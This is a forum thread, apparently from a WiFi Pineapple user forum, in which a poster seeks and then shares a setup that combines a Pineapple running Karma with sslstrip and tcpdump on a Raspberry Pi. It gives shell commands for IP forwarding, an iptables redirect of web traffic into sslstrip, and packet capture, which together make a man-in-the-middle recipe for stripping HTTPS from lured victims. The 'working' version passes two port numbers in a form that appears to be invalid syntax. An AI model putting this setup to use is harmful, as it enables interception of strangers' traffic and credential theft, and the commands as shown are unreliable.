Jump to content

Mark IV :: Raspberry Pi :: SSLstrip


SilentVuer
 Share

Recommended Posts

I'm trying to run sslstrip and tcpdump on my raspberry pi while the pineapple does it's thing running Karma. Trying to offload some work to the pi basically.

I can get tcpdump running on the pi and pick up the traffic on eth0 but how do i setup the IP tables on the pi to run sslstrip on the pi correctly? Currently sslstrip runs on the pi but doesn't strip the SSL traffic, still comes through encrypted when I review the tcpdump file.

I suppose I could run sslstrip on the Pineapple but yet again I'm trying to run those processes on the Pi instead.

Current setup:

  • Pineapple connected to the pi via ethernet (eth0)
  • Pi connects to the internet via (wlan0)
    • Everything is bridged and working perfectly with "wp4.sh"
  • Run the following commands on the pi:
    • sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    • sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    • sudo python sslstrip -a -k -l 8080
    • sudo tcpdump -w test.pcap -i eth0

Thanks in advance.

Link to comment
Share on other sites

Problem resolved... actually what I had works, the only item I changed was the port number used.

The following works:

  • Pineapple connected to the pi via ethernet (eth0)
  • Pi connects to the internet via (wlan0)
    • Everything is bridged and working perfectly with "wp4.sh"
  • Run the following commands on the pi:
    • sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    • sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 8888
    • sudo python sslstrip -a -k -l 8080 8888
    • sudo tcpdump -w test.pcap -i eth0
Edited by SilentVuer
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...